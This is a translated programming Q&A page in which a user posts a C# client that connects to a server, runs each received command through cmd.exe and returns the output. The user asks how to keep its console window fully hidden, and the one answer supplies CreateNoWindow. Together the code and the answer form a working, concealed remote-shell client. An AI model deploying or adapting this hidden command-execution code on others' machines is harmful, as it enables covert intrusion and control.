C#客户端程序控制台窗口

时间:2014-04-17 17:19:52

标签: c# sockets network-programming

我是新的c#,我正在尝试构建一个从服务器获取命令并执行的客户端程序 他们与CMD。

在项目属性中我将“输出类型”从“控制台应用程序”更改为“Windows应用程序”,因为我想隐藏客户端控制台窗口。

一切都很好但我有一个问题, 每次服务器向客户端发送命令时,客户端的控制台窗口会弹出一秒钟,然后将输出发送到我的服务器。 我如何永久隐藏控制台窗口?

我的代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;

namespace Client
{
    class Program
{
    static void Main(string[] args)
    {
        Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

        IPEndPoint endPoint = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 8000);
        sck.Connect(endPoint);



        while (true)
        {
            string shell = "$: ";
            byte[] shellbuf = Encoding.Default.GetBytes(shell);
            sck.Send(shellbuf, 0, shellbuf.Length, 0);

            byte[] buffer = new byte[255]; // buffer for recieved command
            int rec = sck.Receive(buffer, 0, buffer.Length, 0); // receving

            Array.Resize(ref buffer, rec);
            string command;
            command = Encoding.Default.GetString(buffer); // recieved command from bytes to string


            if (command == "quit\n") // quit and close socket
            {
                sck.Close();
                break;

            }

            // execute command
            Process p = new Process();
            p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/C " + command ;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            string output = p.StandardOutput.ReadToEnd();
            string error = p.StandardError.ReadToEnd();

            // sending command output
            byte[] outputbuf = Encoding.Default.GetBytes(output);
            byte[] errorbuf = Encoding.Default.GetBytes(error);
            sck.Send(outputbuf, 0, outputbuf.Length, 0);
            sck.Send(errorbuf, 0, errorbuf.Length, 0);


        }







    }
}

}

程序目的是用于远程管理。 谢谢。

1 个答案:

答案 0 :(得分:1)

我建议将CreateNoWindow属性添加到您的Process,下面是语法。

  p.StartInfo.CreateNoWindow = true;

由于 苏雷什